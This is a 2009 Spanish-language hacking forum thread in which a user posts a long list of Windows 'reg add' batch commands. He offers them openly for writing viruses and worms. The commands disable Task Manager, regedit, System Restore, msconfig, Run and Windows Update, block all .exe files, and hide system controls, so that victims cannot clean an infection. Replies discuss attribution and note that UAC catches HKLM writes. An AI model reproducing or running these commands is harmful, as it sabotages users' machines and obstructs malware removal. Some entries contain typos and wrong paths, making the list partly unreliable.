elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
21 Mayo 2012, 14:12  


Tema destacado: Deseas probar algunas mejoras a la interfaz del foro? Prueba cake! acerca de

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Codigos del Registro By DAMA$ GRATI$ (Danni)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Codigos del Registro By DAMA$ GRATI$ (Danni)  (Leído 1,681 veces)
Danni

Desconectado Desconectado

Mensajes: 34


Ver Perfil
Codigos del Registro By DAMA$ GRATI$ (Danni)
« en: 23 Diciembre 2009, 23:50 »

hola, estos son algunos codigos del registro para usarlos de forma virica, pq? pq desactivan cosas, impiden ejecuciones y dificultan mucho las desinfeccion del virus o worms y nos van a servir de mucho a la hora de programar virus, aca les muestro una lista de codigos del registro q pueden intentar probar, pero tengan cuidado pq sino saben usar el registro les va a costar un poco sacar el codigo q agregaron, asi que voi a explicar un poco como es y como usarlo.

Cuando creamos una clave en el registro tiene 3 partes, o asi le digo yo, la primera es el Nombre de la clave, q es muy importante ya q de lo que se escribe ahi es lo q va hacer, no todas las claves del registro funcionan, es decir, si yo escribo, NoStartup, q kiere decir "No Inicio", no significa q no va a arrancare el sistema, lo mas probable es q eso no funcione, asi que solo algunos nombres en el registro funcionan.

La segunda "parte" es el tipo de clave, yo solo conozco la alfanumerica y la DWORD asi que esas son las que voi a usar.

Y la tercera parte es el Valor, todas las claves segun el tipo q sean van a tener un diferente Valor o Dato. Cuando creamos una clave DWORD y siempre hai q saber esto, pero SOLO en la DWORD, el numero 1 es para "activar# esa clave o hacerla funcionar, y, el numero 0 es para desactivarlas o hacer q no se inicien.

Bueno, eso es algo basico, ahora les muestro algunos codigos q pueden usar con un archivo, se puede hacerlo con cualkier lenguaje pero yo lo muestro con batch.

Código:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWROD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableConfig /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\SystemRestore" /v DisableSR /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoAddRemovePrograms /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideClock /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewContextMenu /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewContextMenu /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\currentVersion\policies\System" /v NoDispCpl /t REG_DWORD /d 1 /f
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\My Computer" /v NoDrives /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDesktop /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t reg_dword /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Disallowrun" /v 20689 /d .exe /f
reg delete "HKCR\Directory\Background\shellex\ContextMenuHandlers\New" /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoWindowsUpdate /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableMsConfig /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Advanced" /v Hidden /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartMenuLogoff /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Internet Explorer\Toolbar" /v Locked /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v LockTaskbar /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v Accessibility /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSaveSettings /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoActiveDesktopChanges /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoAddfromCDorFloppy /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DisableCAD /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoAddfromInternet /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoAddfromNetwork /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoAddingComponents /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoAddPage /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallPaper /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoBrowserOptions /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSaveSettings /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Toolbars\Restrictions" /v NoAddressBar /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v AdvancedTab /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoBandCustomize /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v CertifPers /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v CertifSite /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCloseDragDropBands /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoColorChoice /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoComponents /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v ConfirmFileDelete /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v ConnectionsTab /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "Connection Wizard" /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "Connwiz Admin Lock" /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v ContentTab /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoDeletingComponents /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoDispAppearancePage /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispScrSavPage /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispAppearancePage /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispSettingsPage /t REG_DWORD /d 1 /f
reg add "HKCU\Control Panel\Desktop" /v DragFullWindows /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoEditingComponents /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFileAssociate /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFileMenu /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v FormSuggest /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "FormSuggest Passwords" /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v GeneralTab /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HardwareTab /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v HomePage /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoHTMLWallPaper /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v IncludeSubFolders /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoInternetIcon /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Toolbars\Restrictions" /v NoLinksBar /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLogOff /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoLowDiskSpaceChecks /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoBandCustomize /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v PrivacyTab /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v ProgramsTab /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoPropertiesMyComputer /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsNetHood /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoRemovePage /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v ResetWebSettings /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Windows\Control Panel\Desktop" /v ScreenSaveActive /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v SearchHidden /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer" /v SearchSystemDirs /t REG_DWORD /d 0 /f
@echo off
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v SecAddSites /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v SecChangeSettings /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSecurityTab /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v NoSelectDownloadDir /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall" /v NoServices /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetTaskbar /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v Settings /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoShellSearchButton /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Internet Explorer" /v Show_FullURL /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoSizeChoice /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMConfigurePrograms /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartMenuLogoff /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f


bueno, ahora voi a explicar como funciona y como se hace, primero hai q abrir el bloc de notas o cualkier editor de texto y escribir cualkier clave q les deje, ahora les explico un poco mas,

la /V es donde va el nombre de la clave

la /T es el tipo de clave q se va a usar, comoo les dije antes hai q usar la DWORD, pero hai q agregarle un REG_ adelante

la /D es el valor o dato, aca siempre tienen q poner un 1 o 0 dependiendo lo q kieran hacer, si lo kieren activar o desactivar.
« Última modificación: 24 Diciembre 2009, 00:31 por Danni » En línea
[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.507


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: Codigos del Registro (Batch-Virico)
« Respuesta #1 en: 24 Diciembre 2009, 00:21 »

te recomiendo algo... quitale lo de Batch y habla solo sobre el registro, es algo mas general y le seria mas util a alguien. Si lo explicas uno a uno alguien que busque una funcion especifica la encontraria. puedes hacerlo porque eres el autor... de caso contrario debes de dar la fuente, es antietico no darla
En línea

Danni

Desconectado Desconectado

Mensajes: 34


Ver Perfil
Re: Codigos del Registro (Batch-Virico)
« Respuesta #2 en: 24 Diciembre 2009, 00:25 »

te recomiendo algo... quitale lo de Batch y habla solo sobre el registro, es algo mas general y le seria mas util a alguien. Si lo explicas uno a uno alguien que busque una funcion especifica la encontraria. puedes hacerlo porque eres el autor... de caso contrario debes de dar la fuente, es antietico no darla

ok, la fuente es de DAMA$ GRATI$ de CPH,

Código:
if DAMA$ GRATI$ == Danni/Danni.A (goto Soy el autor)
:soy el autor
echo Soy yo
En línea
[L]ord [R]NA


Desconectado Desconectado

Mensajes: 1.507


El Dictador y Verdugo de H-Sec


Ver Perfil WWW
Re: Codigos del Registro (Batch-Virico)
« Respuesta #3 en: 24 Diciembre 2009, 00:26 »

te recomiendo algo... quitale lo de Batch y habla solo sobre el registro, es algo mas general y le seria mas util a alguien. Si lo explicas uno a uno alguien que busque una funcion especifica la encontraria. puedes hacerlo porque eres el autor... de caso contrario debes de dar la fuente, es antietico no darla

ok, la fuente es de DAMA$ GRATI$ de CPH,

Código:
if DAMA$ GRATI$ == Danni/Danni.A (goto Soy el autor)
:soy el autor
echo Soy yo

:¬¬ fijate bien en esa secuencia... seas o no seas el autor escribira que eres el autor
En línea

Danni

Desconectado Desconectado

Mensajes: 34


Ver Perfil
Re: Codigos del Registro (Batch-Virico)
« Respuesta #4 en: 24 Diciembre 2009, 00:30 »

te recomiendo algo... quitale lo de Batch y habla solo sobre el registro, es algo mas general y le seria mas util a alguien. Si lo explicas uno a uno alguien que busque una funcion especifica la encontraria. puedes hacerlo porque eres el autor... de caso contrario debes de dar la fuente, es antietico no darla

ok, la fuente es de DAMA$ GRATI$ de CPH,

Código:
if DAMA$ GRATI$ == Danni/Danni.A (goto Soy el autor)
:soy el autor
echo Soy yo

:¬¬ fijate bien en esa secuencia... seas o no seas el autor escribira que eres el autor

cierto, pongo el title  :)
En línea
Nu1l7

Desconectado Desconectado

Mensajes: 3



Ver Perfil
Re: Codigos del Registro By DAMA$ GRATI$ (Danni)
« Respuesta #5 en: 26 Diciembre 2009, 23:51 »

bahaha. Muchas Gracias por las claves d registro . ;)
En línea

Si dios jugara a los dados, necesitaría otro universo donde arrojar los dados y aplicar los resultados al nuestro.
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: Codigos del Registro By DAMA$ GRATI$ (Danni)
« Respuesta #6 en: 27 Diciembre 2009, 01:08 »

 ;D Lo mejor d etodo es que la mayoria son HKCU que se pueden ultrajar en vista y seven hay que tener mucho cuidado con HKLM por que si se resbala el bicho el UAC lo extermina en el acto  :-\ ......

 
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines